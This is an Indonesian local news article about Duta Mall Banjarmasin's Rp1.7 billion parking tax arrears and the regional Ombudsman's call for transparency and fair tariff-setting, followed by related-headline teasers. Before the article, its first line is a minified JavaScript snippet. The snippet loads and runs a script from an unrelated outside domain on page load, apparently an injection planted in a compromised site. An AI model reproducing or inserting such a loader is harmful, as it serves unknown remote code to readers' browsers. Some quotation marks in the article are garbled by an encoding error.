(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Persoalan tunggakan pajak parkir Duta Mall sebesar Rp1,7 miliar hasil temuan BPK RI antara Januari 2017 hingga September 2018 mendapat perhatian dari Ombudsman RI Perwakilan Kalsel. Setelah sebelumnya Dinas Perhubungan Kota Banjarmasin gagal menagih, sementara Duta Mall Banjarmasin mengajukan keberatan kepada Pemko Banjarmasin dan BPK RI atas temuan tersebut.
Ditemui di kantor Ombudsman RI Perwakilan Kalsel di Jalan S Parman Banjarmasin, Selasa (17/12) siang, Kepala Ombudsman RI Perwakilan Kalsel Noorhalis Majid mengatakan, pengelola parkir Duta Mall Banjarmasin (PT Center Park) tentunya memiliki izin penyelenggaraan parkir dari Pemko Banjarmasin. Selain itu, Pemko Banjarmasin tentunya harus melakukan pengawasan terhadap operasional parkir itu sendiri.
“Mengapa sampai tidak terbayar? Kami kira ada soal-soal yang berhubungan dengan pengawasan yang ada di situ. Kedua, mungkin komitmen antara Duta Mall dengan Pemko, (yang mana) komitmennya seperti apakah membayar di belakang atau seperti apa,†kata Noorhalis kepada Kanalkalimantan.com.
Baca: Duta Mall Nunggak Parkir Rp1,7 M, Dishub Banjarmasin Gagal Menagih
Menurut Noorhalis, baik Duta Mall maupun Pemko Banjarmasin harus sama-sama transparan. Karena, uang parkir merupakan pungutan yang didapat dari masyarakat sebagai pengguna jasa parkir. “Walaupun areanya milik swasta. Mau tidak mau, ada jasa yang dibayarkan masyarakat kepada Duta Mall. Sehingga mesti transparan,†papar Noorhalis.
Memang, keberadaan Duta Mall berkontribusi besar terhadap pemasukan Pemko Banjarmasin terutama PAD (pendapatan asli daerah). Kendati demikian, Noorhalis menekankan, jangan sampai Pemko Banjarmasin rugi dan lalai dalam hal penanganan ini. “Kedepannya kami harapkan harus ada tranparansi,†papar Noorhalis.
Selain transparansi, objektivitas dalam penghitungan pajak parkir juga menjadi sorotan Ombudsman RI. Jika hitungan parkir terlalu tinggi, tentu merugikan masyarakat sebagai pengguna jasa parkir. Sementara jika terlalu rendah tentunya merugikan pengelola yang berdampak pada operasional penyelenggaraan parkir.
Baca: Sanggah Temuan BPK RI, Duta Mall: Kami Hitung Pajak Parkir Sesuai Perundang-undangan
“Harus dihitung sedemikian rupa dan dibuat ketetapannya. Kalau bisa, ada duduk bersama di antara kedua pihak, supaya menetapkan tarif parkir yang khusus tersebut tidak sepihak saja,†kata Noorhalis.
Disinggung soal langkah Dishub Kota Banjarmasin yang jika seandainya mengeksekusi lahan parkir Duta Mall dengan membebaskan biaya parkir kepada pengunjung, Noorhalis berpandangan hal itu tidak perlu. Alih-alih menggratiskan, menurut Noorhalis, semestinya tetap dikenakan tarif biasa saja. “Tapi khusus. Jadi, kenakan tarif biasa. Sehingga tidak ada yang dirugikan,†pungkas Noorhalis. (fikri)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.